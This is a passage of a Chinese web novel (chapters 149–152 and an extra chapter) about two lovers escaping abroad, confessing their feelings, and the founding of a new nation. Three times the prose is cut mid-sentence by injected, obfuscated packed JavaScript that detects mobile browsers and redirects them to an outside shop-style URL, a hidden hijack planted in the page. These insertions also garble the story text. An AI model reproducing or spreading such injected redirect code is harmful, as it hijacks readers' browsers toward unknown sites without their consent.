若是真的,若他真能背靠大姓氏家族,他就不会这般疲惫,不会胡子青茬,不会眼神困倦还要硬撑,不会臂上包着的纱布仍是前天的样子,一次药都没换过。 她虽猜到了他的心思,但情绪仍是带上了火气,他不愿意她受苦,她又何尝愿意他为她受难。 听到元之荞的问题,钟以墨不再言语,只是安静地看着她。 钟以墨:“抱歉。” 元之荞说出了自己的猜测,“你求过了,但有关于我的事涉及太广且前途不明,所以克伦威尔不愿趟这趟浑水,还劝你不要插手,这才是实情,对吗?” 钟以墨苦笑一声,良久,他才极轻叹了一口气:“之荞,真是什么也瞒不过你,”他转过身,带着她往车的方向继续走去,“不过有一点猜错了,外祖他们是不想管,但是舅舅却愿意暗中帮我,虽然他只会出一次手,但也不会真让我落到判罪处死的地步,所以情况不算最糟糕。” 这还不算糟糕? 元之荞蹙了蹙眉,好一点的情况不过是长时间上诉审判,然后为钟以墨争取到“无罪”和“自由”,但这个过程需要多长时间谁也不清楚,还不如实施自己原本的假死脱离计划。元之荞用余光巡视四周,果然发现一个穿风衣的男人正盯着他们。 现在想实施原计划也不方便了,元之荞快走一步,将二人维持着半臂的距离缩短,低声说道:“跟我走吧。” “什么?”钟以墨有些愣神。 元之荞微微侧颜,看向钟以墨:“你以前和我说过,你不喜欢英国,也不喜欢这里,”她轻手抓住了钟以墨的衣袖,担心碰到他受伤的手臂,动作很柔,“那就跟我回国吧,我们一起离开这里。” 她不想让他留下来替自己处理后事,既然一个是逃,干脆两人都逃。 钟以墨心神颤动,他手腕下松,用力牵起了元之荞的手,却目视着前方,像是有些紧张:“你愿意带我一起走?” “不是带,是我们俩人逃跑,”元之荞看着钟以墨的样子,突然笑了,“你有把握我们从丑国离开,然后安全回去吗?” 钟以墨稍稍侧过脸,当看到元之荞笑时,他终于放心地跟着笑了起来,他的笑容比她更明显,也更加灿烂:“原本只有你一个人的物资,现在加我,所以变成了八成把握离开丑国,六成把握回国。” “够了,”元之荞看向前方,心中盘算着之后的计划,“只要你能顺利离开丑国,我就有十足能力带你回国。” 两人上了车,钟以墨在车上简述了他的计划,元之荞改变部分细节,然后在另一辆车的接应下,两车快速交换,开始了正式逃亡之旅。 紧盯着两人的探员发现车辆在一直绕弯兜风,他终于意识到了不对,等他急忙把车拦下检查,这才发现里面坐的人压根不是元之荞。 “Shit!通知老大,人跑了!还有马上安排道路交警,让他们立刻排查城内的重要路口!” 电话那头的负责人语气暴躁:“什么时候发现人不见的?” 探员咽了口唾沫,心一横,说了实话:“两小时前。” “废物!” * 两天后,元之荞和钟以墨来到了毗邻的州区。 钟以墨因为有伤,所以坐在副驾负责观察周围以及看地图,而元之荞负责开车。 钟以墨:“往南边再开五十公里就到机场了,这里是民航,所以规模不大,我们只能先飞到坡国,然后再转机回到国内南湾。” 元之荞嗯了一声,看向油箱:“快没油了,附近有没有油站?” 钟以墨笑了,经过这几天的相处,他才发现元之荞并非想象中无所不知,也并非是看上去的那般清冷,她有非常多可爱的一面,比如现在:“之荞,没有油的话,我们可以找农场,然后向农场主买。” 元之荞转移话题:“附近有农场?” 钟以墨看了看附近:“那边有广告牌,往那边走,应该就有农场。” 元之荞转过方向盘,往硕大广告牌的地方开去,钟以墨看着元之荞专注开车的侧脸,捏了捏地图的边缘,终是开口:“之荞……” 元之荞:“待会……” 两人同时出声,又同时噤声。 元之荞:“你先说。” 钟以墨:“你先说。” 两人同时开口,也同时说了一样的话。 钟以墨不再言语,用沉默示意元之荞先说,而元之荞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13565211|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也知道他会让自己先说,于是开口道:“待会遇上的农场合适,我们休息一晚再出发吧。” 钟以墨忍不住扬起嘴角,赞叹他们心有灵犀:“我也想这样说,这两天你都睡在车里,是时候好好休息一晚了。” 元之荞考虑的却是钟以墨的枪伤,他连续四五天没有认真休息了,连带着伤口也一直没有好转,他们马上就要上飞机,高空压强可能会让伤口状况变得恶劣,甚至再度撕裂,所以钟以墨必须好好休息,也需要重新处理一下创口。 元之荞往前开了十分钟,果然见到了一个养奶牛的农场,钟以墨下车,借着买汽油为由,请求暂住一晚。 元之荞在车上等着,并用后视镜检查自己的样貌。 逃离的第一天下午,元之荞就在车上广播听到了自己的通缉信息,她果断让钟以墨去买材料,然后找了一个没人的地方,将头发染成了现在的红色。现在的她,除了部分五官细节对得上,其他都与广播里的“塞西莉亚”截然不同。 钟以墨敲响了车窗:“妹妹,下车吧,托马斯太太同意我们借住了。” 元之荞转头,发现除了钟以墨,车外站着一个系茶色围裙的胖夫人:“小姐您好,请问怎么称呼?” 元之荞开门下了车,笑着回了一个礼:“托马斯太太叫我史密斯就好。” “哦,史密斯,”托马斯太太模样和蔼,四十岁左右年纪,她看了一眼元之荞,又看了一眼钟以墨,面上有些高兴,“麻烦史密斯小姐把车开到那边去吧,你们二位来得真是凑巧,我刚做了苹果派……” 托马斯太太相当热情,短短一段路就把家里介绍得一清二楚,还询问了元之荞和钟以墨的口味,她乐呵着解释:“因为我信教,知道有的教徒会忌食,所以就想先问一下,免得无意中冒犯你们。” 钟以墨也笑着回应:“我和妹妹都没什么忌口,您放心吧。” 托马斯太太推开门,将二人迎了进去。元之荞刚踏上玄关,就听见客厅里的收音机正响亮地播放音乐,托马斯太太刚想说这个音乐,收音机就轻快地发出三声嘀响,开始播放新闻:“整点新闻,克伦威尔家族的话事人克伦威尔·威廉适才表明,因克伦威尔·利亚姆近期在丑国犯下的行为,严重危害了家族的声誉……克伦威尔家族并不知晓,现将克伦威尔·利亚姆在家族中除名……” 元之荞看向钟以墨,她没有在他脸上看到悲伤的表情,只是淡然。 但她却直觉,那份淡然里,他是有伤心的。 “哎呀,这贵族老爷的事……”托马斯太太上前,刚想把收音机的声音调小,就再次听见播报。 “紧急插播一则新闻,现中央情报局更新对塞西莉亚的通缉信息……她身边极有可能跟着一名年轻男性,名克伦威尔·利亚姆,年龄二十岁,黑棕色卷发,身高185cm,手臂受伤……这二人极其危险,曾杀害国家信息技术部八人、破坏国家信息安全网……现更新悬赏金,毁灭丑国国安全的塞西莉亚丑金二十万,其帮凶克伦威尔·利亚姆丑金一万。” 元之荞:…… 钟以墨:…… 元之荞:我有那么厉害吗?可以毁灭整个丑国安全? 钟以墨:作为极其凶恶危险的“帮凶”,我是不是太便宜了点? 听到这里,托马斯太太脸上的笑容凝滞了,她惶然看向元之荞,随后眼神定格在钟以墨身上,她的手指从收音机身上离开,身子不自觉往一边退。元之荞注意到,她正往墙上挂猎枪的方向靠拢。 元之荞立刻牵上钟以墨的手,看向对方:“托马斯太太。” 150. 第 150 章 元之荞开口之后,托马斯太太显得更加紧张了,她面庞绷紧,抢先说话:“小姐、先生,我丈夫马上就要回来了,而且今天家里有聚会,来的人肯定不少。” “托马斯太太,我想您误会了,”元之荞露出柔弱的表情,把自己的脸抬高,大方地展示在托马斯太太眼前,“我们从德里州来,我因家中逼迫出逃,而哥哥为了帮我受伤,如果您真的介意,我们买了汽油走便是。” 托马斯太太听着元之荞说的话,又观察元之荞,发现她连瞳孔都是烟绿色,显然不是广播里说的黑发黑瞳东方女孩。托马斯太太心下稍稍放松,但仍是紧盯钟以墨,毕竟他和新闻里的利亚姆·克伦威尔相差不大,实在是有些可疑。 “托马斯太太,您真的误会了,”钟以墨也露出一个无奈的表情,“我给您看过证件,我叫亚当·史密斯,我们俩是远房兄妹,特征可能和新闻里相似,但混血儿长相类似太正常了。” 托马斯太太想起大农场主家中深肤色的奴仆,她们与大农场主生的孩子的确都差不多。 元之荞和钟以墨见状,又说起编造好的背景与身份,并主动拿出伪造的证件。托马斯太太看着元之荞淡定的神情,以及钟以墨那双容易博取对方信任的眼睛,没过多久就放下了心,只是仍问了一句:“你们……不是亲兄妹吧?” 元之荞略笑着,并不说话,而钟以墨刚想说话,就被托马斯太太打断了:“你们在紧张时刻都会下意识护住对方,这可不是一般‘兄妹’做出的反应,”托马斯太太叹了一口气,看向元之荞,“你不愿家族安排的婚事,也是因为这位史密斯先生吧?” 既然托马斯太太更愿意相信这个说法,元之荞便顺了她的意思,元之荞假意忸怩一番,补充了之前的细节:“是的,我并不姓史密斯,是母亲二嫁,我才来到这里。” 之后的事不必多说,托马斯太太自然会脑补出一部大型家庭伦理剧,连带着钟以墨身上枪伤她也有了合理的解释。 “你们之后的路不好走啊,”托马斯太太眼中有怜惜,也有些感动,“放心吧,今晚就在我家好好休息,对了,我去帮你们把药箱拿来。” 钟以墨望了一眼元之荞,但当元之荞对视而来时,他又把目光移开了,元之荞见他似乎笑了一下。 二人在托马斯家梳洗了一番,傍晚时分,托马斯家中的确开启了聚会。幸好人不多,且全是附近的居民,所以也没人怀疑元之荞他们。 元之荞和钟以墨简单吃过晚饭,感谢了屋主人,起身回了他们暂住的屋子,并不打扰其他人聚会。 农场只有一间在奶牛棚的空房,会有些味道与声响,但元之荞和钟以墨都表示不介意。到了空房后,他们发现这里堆了不少杂物,不过空间不小。 共处一晚二人也不尴尬,毕竟之前他们都在车上同吃同睡。 钟以墨扫了扫地,准备在床下打地铺,元之荞坐在床边看他忙活,耳边是主屋传来的依稀笑语,偶尔还有拿着乐器的托马斯先生在自弹自唱,唱到跑调处时,总能听到托马斯太太嘹亮的笑声,然后便是同样欢快的托马斯太太加入和声,好不快乐。 元之荞难得感受到了片刻的自由与放松,她透过窗户,看向外面。 柔黄的灯光在夜里亮着,透过浅色的窗帘轻轻摇曳,像在随着乐声舞动。 夜空晴朗,一丝浮絮也没有,即使在这星球的另一半,临近中秋时,月亮也依旧在走向圆满。 钟以墨收拾干净,点燃了桌案的茶蜡,元之荞感受到身后的光,回头看去,钟以墨将手持电灯的光亮调小:“这灯不能开一晚上,但晚上要是怕黑,这边还有蜡烛。” 稀薄的月光洒在他的身上,烛火跳跃在他瞳光里,像是天上寥寥的星子。 元之荞想起这两天她都会把车开到有光亮的地方,不是怕黑,是担心夜晚守夜时会遇到危险,但他却误会了,所以才专门向托马斯太太要来了这一排茶蜡。 元之荞看着钟以墨,他的面庞柔和,望着她的眼睛总是流连多情,她想,她早该明悟的。 “那个,”元之荞用目光指向钟以墨手上的红绳,“解释一下?” 元之荞在钟以墨会场受伤时就看见了尾花,之后离开情报局时又确认了手绳的存在,这两天,她故意装作看见红绳,却又一点不在意的样子,就是想看钟以墨的反应。这边的钟以墨发现元之荞的视线后,一下就变得有些紧张,但看元之荞全然忘记的模样,他的紧张又变成了失落,随后变成了如今的释然。 很有默契地,两人均未主动提起手绳的事,直到现在。 钟以墨顺着元之荞的目光低头:“这个?”他的右手轻轻摸了一下绳脚的尾花,抬眸望向她,温柔笑道,“这是你送给我的。” “既然记得,为什么要假装什么也不记得?”元之荞看向钟以墨,她的神色温和,眼中没有指责,只是全然的好奇。 钟以墨望着元之荞,不知该如何开口,而元之荞也静静地看着他,等待着他的解释。也许是两人沉默有些久,元之荞像小时候的钟以墨那样,在床沿拍了拍:“说秘密,要不要我帮你支个堡垒?”说完,元之荞举起了被子。 钟以墨看元之荞眼尾透露着笑意,一下也想起了游轮那晚,那时的他一定要用被窝盖住两人,才肯让元之荞讲秘密。钟以墨也顿时忍不住笑,虽然有些难为情,他还是起身,坐到了元之荞身边。 他看着窗外的月色,顿了顿,这才讲述起自己的故事:“你想听的话,得从我十三岁说起,”他的声音清润,带着元之荞走向那段并不久远的记忆,“那年我跟着孙爷爷离开,但在英国的日子其实并不好……” * “以墨,怎么了?”孙长鉴瞧向把自己闷在屋里的钟以墨,“是不是那群孩子欺负你了?”孙长鉴有些生气,那些自视甚高的贵族小孩真是没礼数,只因长相和语言的不同,就能变着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13581652|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法表现出厌恶,孤立他人,孙长鉴伸出手,牵上钟以墨,“走,爷爷帮你说理去,爷爷的口才可好了,保证把对方……” “爷爷,”钟以墨松开了孙长鉴的手,轻轻摇了摇头,“我没事,只是我发现外祖父其实不怎么喜欢我妈妈,觉得有些伤心而已。” 他说了其中一个理由,不自觉地低头抠着手绳上的金豆豆。他现下的处境并不好,爷爷若替自己出头,只会连累爷爷一起受气而已,他不能这样做。 孙长鉴见钟以墨这样,深深地叹了一口气,本以为换环境会好一些,没想到英国母家竟然是这种态度,难怪他们会轻易让科莱丽嫁给钟庆国这个外国人。 “以墨,还记得你问过的朋友元之荞吗?”孙长鉴的视线从手绳转向钟以墨的眼睛,“她以前当四组组长的时候,处境比你现在还困难,那时她手下有个刺头叫杜盛云,总是想办法挫之荞这个组长的锐气……” * “不瞒你说,你的经历像童话故事一样,”钟以墨低低地笑了一声,语调缱绻,“公主杀恶龙,跨过山和海,救起了一个个英雄,”他长睫微微下敛,试图盖住自己的心迹,“那时的你,好像变成了我的铠甲,让我有提剑的勇气,去适应、去改变现状,也让我有勇气去模仿那些故事里的英雄。” 微风送来一股草的苦涩与清香,拂过他们并排而坐的身影,她凝望着他的侧颜,心也跟着他一点点跳了起来。 * “爷爷,他可是个外人,一个来自贫穷战乱的国家,你说他回来的目的是什么?” 钟以墨路过书房,无意间听到了里面的对话。 “就是啊爸,那小子又不是我们英国人,他也从来没把自己当成英国人,你看他成天往那两个外国老头老太身边跑,既养不熟,现在还要科莱丽的遗产,谁知道他藏着什么心思?” “唉,你们说得对,我还是再仔细考虑一下吧……” 钟以墨轻手轻脚退出去,来到了花园边,他看着水池喷泉的圣母像,心绪复杂。原来他改变自己,也努力了半年,依旧没法获得自己合法继承的那部分遗产,如此下去,他想要帮大孙爷爷的那部分,又将何年何月能得以实现? “喂!”钟以墨的表哥走了过来,表哥现在有些怵钟以墨,虽然不会动手,但仍是时不时地挑衅一下钟以墨,企图挽回前几次的丢脸,“利亚姆,你在这干什么?” 钟以墨看着面前的水池,心里突然有了一个想法。 * “然后我掉进了水里,发了一场高烧,”钟以墨勾唇笑着,像是在自豪那会的计划,“四十几度,孙爷爷气得上去讨公道,就连姨母也打了表哥一顿……醒来后我便装作了失忆,只认自己是英国人,言行举止也往贵族绅士方向靠。” “表哥再闹我,我选择了别的方式还击。因为这样的理直气壮、果决冷静,我被认为有外祖父当年的风采,也逐渐被外祖父接纳。” 151. 第 151 章 “以墨,你有想过加入新军吗?”孙长明在得到第一批医疗物资后,在电报里询问钟以墨。 钟以墨看着上面的信息,第一想到的就是元之荞。 他知道她的经历与故事,知道从事情报人员的危险,也知道新军想要从英方这边拿到什么物资,而这,无疑会让元之荞的处境变得危机四伏。 钟以墨没有考虑多久,拿着抄录电报,找上了孙长鉴:“爷爷,我能加入新军地下暗线吗?” 孙长鉴一愣:“以墨,为什么?” “我知道大孙爷爷最想要的是船舰,或许还有飞机和其他制造零件,但这样的东西属于军方重点管控物资,就算走正常贸易,也需经过层层手续才能办妥,但有我就不一样了,”钟以墨神色坚定,语速变快,“我投资的实验室都走军事科研方向,有我这个暗线,想要运输少量的设备和机械不成问题,若要大量运输,也可从英方对国内军阀的资源援助中暗中偷调。” 孙长鉴长吐一气,耐心地看着钟以墨:“以墨呐,你说的都是好处,是用来说服我的,但爷爷想问的是,你为什么一定要加入暗线?”孙长鉴目光关切,语调缓和,“你要知道加入新军,可不止只有暗线。” 钟以墨沉默良久,但看着孙长鉴慈爱的眼神,还是选择说了实话:“因为之荞。” 孙长鉴:“之荞?” 钟以墨手指握紧,像是因剖白而难以启齿:“大孙爷爷说,之荞想做信号干扰,但是国内目前还没有合适的材料,想问我这边有没有。” “但我从诺兰实验室了解到,这样的材料都是有序号标的,无论从英国哪出口,它们都将留下痕迹,变得容易追踪,那样的话,之荞就会有危险,”钟以墨看向腕上红绳,珍惜地摸了摸绳结,“但如果我加入暗线,从组织内知道一些事情,就能提前在这边做好防护,万一之荞被抓了,我也能利用自己在英国的优势,帮助之荞逃离。” 孙长鉴没有说话,长久沉默过后,他按了按钟以墨的肩膀,语气中有钟以墨不明白的沉重:“这事我想和我老哥聊聊,如果组织都同意,爷爷就愿意做你的新军推荐人。” * “后来,我加入了白鸽暗线,只与华科长接联,”昏暗里,钟以墨看向元之荞,他看不太清她的神情,只觉得她的眼睛亮亮的,让人不敢直视,“为了能让我在关键时刻派上用场,所以我的白鸽的身份被隐藏,只有两个孙爷爷和华常委知晓。” 元之荞点了点头,保密是对的,越是接近战争的尾声,情报人员就越会活跃,所谓的隐秘消息也将泄露得更多。部分人为了转换阵营,投靠更有胜算的那方,会把手上最有价值的消息卖给对方取好,而这个时候,钟以墨白鸽的身份越是保密,就越有可能成为最大的底牌。 “真是可惜,”元之荞不由得轻叹一声,看向钟以墨,“战争结束后的冷战期,你的身份将非常有用,可惜现在暴露了。” “对我而言不可惜。”钟以墨笑笑,看着元之荞的眸里,似乎也沾上了她眼中的光。 钟以墨这个名字,本就照着元之荞而来。 而我这枚自愿埋下的棋子,也本就只因为你。 所以现在,我一点也不可惜,反倒觉得十分庆幸。 元之荞指尖动了动,摸到面上的棉布床单,触感酥麻轻柔。她将靠近他的那只手放回来,却依旧感觉指腹恍恍惚惚,始终萦绕着之前的触感。 她低下视线,就听见他温润的声音。 “我喜欢你,之荞。”她听见他说。 她忍住不抬头望向他,他的面庞在烛火的照耀下,显得谦和又俊朗。 而他微微俯身,想靠近她,却又僵直着,维持着让自己不舒服的姿势,他的目光长久地停留在她的身上,觉得自己今晚喝的那杯红酒,似乎一直醉到了现在,他的心跳开始加速,不知自己哪来的勇气。 “之荞,我,能和你结婚吗?”他听见自己这样说。 元之荞嘴唇上扬,觉得钟以墨今晚抿的那口红酒,似乎沁到了他每一句话里,不然从不喝酒的自己,怎么也感到了一丝微醺? 她很轻地笑了一声:“我也喜欢你,”她轻轻偏头,故意话语停顿逗他,“但我还不打算结婚。” 只听到前半段钟以墨已经高兴了起来,瞬间,笑容像半永久般焊到了他的脸上,露出一排整齐的皓齿,语气雀跃:“那我能做你男朋友吗?” “可以。”元之荞也是个直进的人,没有犹豫地答应了他。 钟以墨:“我以后可以牵你的手吗?” 元之荞:“可以。” 钟以墨乐得差点笑出声:“可以想什么时候牵就什么时候牵吗?” “可以,”元之荞笑着主动握住了钟以墨的手,她抚摸着上面的手绳,都快忘了自己编的模样,“早知道你会时常戴,当初我就应该多点耐心。”元之荞看着上面的瑕疵部分,发现竟也被钟以墨保护得很好。 钟以墨并不认为这是缺憾,他反而问起了别的事情:“之荞,那我以后能离你这么近吗?” 钟以墨挪了挪位置,主动坐到元之荞身边,将原先的一臂之距缩短到一拳。 元之荞看着他,钟以墨反而有些不好意思了,他将脸扭过去,呲着个大牙,眼里仍是笑意盈盈。 “可以,”元之荞有些疑惑,“你怎么这么多问题?” 钟以墨牵起元之荞的手,果断直言:“我们第一次见面的时候,你扮作史密斯夫人,那时的你不喜欢与我太近,所以我总认真地与你保持一步间距……其实我很想更你靠近一点。” 元之荞略微惊讶:“那么远的事情你还记得?” “当然,”钟以墨眉眼弯起,有些得意,“你以前写给我的信,我还留着。你还想听吗?我还有好多话想和你说。” 不好意思的变成了元之荞,她起身关了窗户:“睡吧,我们明天还要赶飞机。” 钟以墨仰头望着她:“可我直觉今晚会高兴得睡不着。” “那你就想点难过的事,”元之荞把人赶到了地铺上,“比如怎么告诉我爸爸,还有回去以后的安排。” 钟以墨依旧兴奋:“好,那我现在就想。” * 两周后,元之荞和钟以墨回到了蒲城,而此时,战争已经正式进入了收尾阶段。 元之荞回家与父母团聚,这才知道期间一直是华常委在帮衬家里,华常委担心元善和梁桦知道真相后茶饭不思,于是隐瞒了元之荞的失踪。元之荞这次回来,他们都以为她不过是又去搞科研了。 元之荞认真感谢了华睿,在家休息了三天后,便进入工作状态。另一边,钟以墨的新军身份在华常委的肯定下,被正式纪入档案,同时,他被分配到白鸽的对外交流岗位。 又过一月后,海国正式投降,时间比元之荞预想的早,也比《绯恋》原剧情来的早,因为这个偏差,元之荞进一步感受到了萤光的增强。 民族争取独立自主的对外抗争结束,转而进入国内两大武装力量的内部斗争时期。 这个时候,白鸽和白榆也不用再藏着掖着,白鸽特科被正式收编为军三部,而白榆暗部则正式被编 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13591674|126512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为军四部。 元之荞作为四部的部长,依旧可以从事情报工作,毕竟在内战期,情报也是相当重要的一部分。但这样的话,三部与四部便会在职能上出现重叠,并不利于彼此间的工作效率。于是元之荞向上级提出,军四部可以做胜利前的预备工作,主要是民生信息等方向。 例如胜利后一定会进行的人口统计与户籍分配,很多人都因为战争进行迁徙,而战争长达十余年,有的人已在当地成家立业,就算胜利了可能不会再迁回原籍,在这个时候,建立全国统一的人口信息与户籍档案,就显得非常有必要。 元之荞选择从民生入手,而非继续投身她擅长的武器设备信息等方向,一是希望自己能有更多的时间与家人相处,二是她知道,新国家成立后必将经历探索的路程,要是与大型、重型武器等设施关系密切,很有可能会给自己和家人带来麻烦。 不过以当下情况来看,建立完善电子档案信息,方便人口普查、监管人口流动,有利于应对新国家成立后逐渐显现的问题,在技术层面上,这并不比在武器设备上建立通讯简单。 常委们开会讨论,最终同意了元之荞的提案申请,而元之荞接受任务后,立刻带领四部开始了新的学习。 除此之外,她在空余时间还与华常委一起编撰了新的无线电密码,新密码比来去本更加保密,也在内战期间发挥了重要的作用,并且有趣的是,新国家成立的六十年中,竟然没有一人能够破译新密码。这一份新密码,自然成为了她与华常委合作的一段传奇成果,也是后世津津乐道的一段美谈。 时间回到现在,内战快速推进,一年零四个月后,席明荣的妻子楚多慈暗中传下段公的消息,最终,新军在机场当场捕获段公,打碎了段公逃亡他地、另起炉灶的美梦,新军为两军内战彻底画下了句号。 至此,战争结束。 内战时间也比《绯恋》原书情节来得短,元之荞猜到,剧情已经无力回天了。 这一年秋末,新军紧锣密鼓开了几天大会,会议中,他们确定了新国家名字、建国日期等重要事项,会议结束后,元之荞一家受邀请参加开国大典,连带着钟以墨这个准女婿也沾了光。 元之荞作为拥有杰出贡献的“将帅”,将与其他开国将才一起站于讲台后,同样见证这个开天辟地的重要时刻。 在她的角度,只能看到领导人们的背影,以及台下乌泱泱的人群,她忽然想起了刚来到这个世界的时候。 那是个初春的日子,她生着病,风里残留的霜冻,随着黄包车的轱辘,呼呼地刮过她的脸庞。杏花疏影,杨柳新晴,她听着孩童的笑闹,听着人群的呼喊,又听着群众里的铿锵,迷迷糊糊,带着对未知的探索,一路走到了现在。 那个春天发生了许多不好的事,也诞生了许多让她感到温暖的瞬间。 但莺初解语,好事正酿,恰似春天的风,总能结出秋天的果。 她往台下望去,目光所至之处皆为华夏,五星闪耀之地皆为信仰,她突然想起了梁启超的《少年说》。 “天戴其苍,地履其黄。纵有千古,横有八荒。前途似海,来日方长。” 我们饱尝苦难,我们历经风霜,我们在烽火硝烟中力挽狂澜,我们在江山激昂中撑大厦断梁,如今,春风又绿神州,华夏再沐朝阳。 随着新国家成立的宣誓词,萤光从元之荞胸腔里飞出,她知道它即将吸收残余的剧情力量,成为这片土地全新的生机。 往后一切,便是新的时代,新的旅程,你与我,也将创造新的幸福与荣光。 152. 番外一 新国家成立后,元知茂从部队返家,他将有半月的休假可以回家探亲。 元知茂所在第十团会在北城驻守,而元知茂是连长,所以这几年他都得留在北城。 元家余下几个孩子,元之荞因工作需要留在北城,元知荷所在单位准备把总部建在北城,而丈夫李然又将驻守北城周边城市,所以大概率元知荷也会留在北城。 李然的妹妹李欣,她早年嫁给了北城本地的一商户,这商户曾是白鸽暗桩,两人在阴差阳错结缘,日子也算过得圆满。 剩一个最小的元知宁,他今年才十三岁,还是读书长个子的年纪,别说照顾家人了,他不给家人添麻烦就很不错了。 因为这样的情况,原本想要回陵城安度晚年的元善和梁桦,还是选择了孩子们,选择跟他们留在北城。 “这样吧,爸妈,我们回陵城老家一趟,”元之荞见元善眉间愁绪不散,提出了自己的想法,“回去看看祖坟,也看看老宅,要是家还在,我们就重新布置一下,要是你们在北城想老家了,随时可以回去住一段时间。而且哥哥可以转业,等哥哥退役了,就让他申请回陵城的单位,爸妈也不用担心回不去。” “欸,好。”听到元之荞的话,元善顿时高兴地笑了。 他小半辈子生活在陵城,因为战争,他不得不带着家人漂泊。这十三年里,他们总住不了几年就得被迫搬家,几乎忘了长久而安稳的日子是个什么模样。 他太想念陵城了,想念陵城和煦的日光,想念街头的吆喝,想念自从幼时起便从未变过样子的祖宅,想念那些日日坐诊、餐餐按时、妻儿环绕的平淡日子。 元善的眼角笑出了一道道褶,梁桦面上也难掩笑容,元之荞依偎在父母身边,自己也跟着喜了悦起来。 真好啊,我们就要回家了。 “回去以后,刚好可以看看匾额,”想到这里,元善又有些高兴,“在外地开医馆,你爸爸我每次都要做匾额,但每次做出来的匾额总觉得差些意思,等回陵城了,爸爸带你好好看看我们家的匾额,都快百年了呢,听你太爷爷说,‘元氏医馆’这四个字,是大前朝的书法名家……” 梁桦暗中给元之荞使了个眼色,元之荞知道这是在吐槽父亲念旧,她压下嘴角,也回了梁桦一个俏皮的眼神,然后看向元善,继续做出努力倾听的姿态。 元知宁突然开口,掏了掏耳朵:“每次提到医馆,爸爸总说这些,真不知道是不是人老了。” 元善立马瞪眼:“你小子说什么呢?” 元知宁迅速缩起腮帮子,撅出一个小鸡嘴的怪模样,眼睛从这头转向那头,假装不是自己说的。 见元善怒气未减,元知宁才讨好地换上笑容,转移话题道:“爸爸,我们什么时候去陵城?我还没去过老家呢。” 元知宁出生那会,正是元家从山俞逃往北城的路上,可不是没见过陵城老家。 元善想了想,对着梁桦说:“知茂后天回来,桦儿,你去问一下知荷他们,女儿、女婿时间宽裕的话,我们就早些回陵城,把老宅修缮好了,再回北城来。” “好,”梁桦听到这话,眉梢均沾上了喜气,“我待会就去问。” 元之荞:“那我帮着先收拾行李。” * “这里就是向天江了,以前你爸爸小时候,爷爷常带着我、你姑姑、你叔叔,一起到这里逛铺子,那时候的沿江……”元善兴致勃勃地对元知宁说起从前的故事,可每当说到元安和元珍,元善语气中总有几缕掩饰不去的忧伤。 元之荞扶着梁桦走在他们身后,梁桦听到元安和元珍的名字,不自觉地叹了口气:“也不知道你小叔现在怎么样了,当初我们从山俞逃往北城,好不容易在北城定居,结果出了你姐姐那事,我们怕连累你小叔,于是全家都躲走了。” “等风头过了,想再找你小叔时,海国鬼子又打上了北城,”梁桦沉重地呼吸一气,声音悠远,像是随着记忆回到了逃往的日子,“我们不得已,只能跟着华常委坐卡车,又跑到了蒲城。” 蒲城是元家住得最久的一个城市,但即使是这样,他们还是在城内搬过两三次家,可见生活依旧不太平。 梁桦:“到蒲城后,我们就彻底失去了你小叔的消息,也不知道他现在还有没有活着,要是活着,也不知道活得好不好……” 元之荞宽慰母亲:“妈妈,你放心吧,小叔叔的事我已经拜托同事帮忙查了,并且我现在从事人口普查以及电子档案信息的工作,若是录入了小叔叔的消息,我定能知道。” 梁桦拍了拍元之荞的手,有些欣慰,也有些自豪:“之荞真是能干,你在的时候,妈妈总能多放心些,”她笑了笑,牵动着鬓边浅浅的斑,“好像是有了依靠。” 元之荞压下心头的酸涩,也跟着笑,“妈妈依赖我,有我在的时候,妈妈的胆子会大些,我也依赖妈妈,妈妈在的时候,好像一切事情都变得好办了些。” 梁桦听了便笑:“这么粘着妈妈,以后嫁人了可怎么办?以墨那小子会不会吃味?” “嫁人还早呢,妈妈,”元之荞并不在意,说起了别的事情,“孙老师身体不好,大半辈子献给了国家,身边也没个老伴。孙长鉴爷爷担心老师,主动提出两家住到一起,好有个照料。如今孙爷爷的孙子也从国外回来了,钟以墨不愿意总去孙爷爷家,就怕打扰他们家人团聚,所以妈妈你上次叫他常来,他很高兴。” “他不会吃味的,他只会羡慕我。” 梁桦听了有些动容:“以墨多好的孩子,可怜小时候没了爸妈,等我们再回北城的时候,过年过节,你都带以墨来家里吧,让他吃顿热乎饭也是好的。” 两人边聊边走,不自觉走到了接近老宅的一处巷口,前方领队的元善却突然停下了脚步,元之荞把梁桦交给元知荷和李然,自己则往前走去:“怎么了?” “姐姐,你们以前真住这?”元知宁看着全是河水的宽阔地界,挠了挠头,扭头看向元之荞,“爸说这里就是祖宅了,所以你们以前都住水里啊,而我,其实是个河鱼精?” 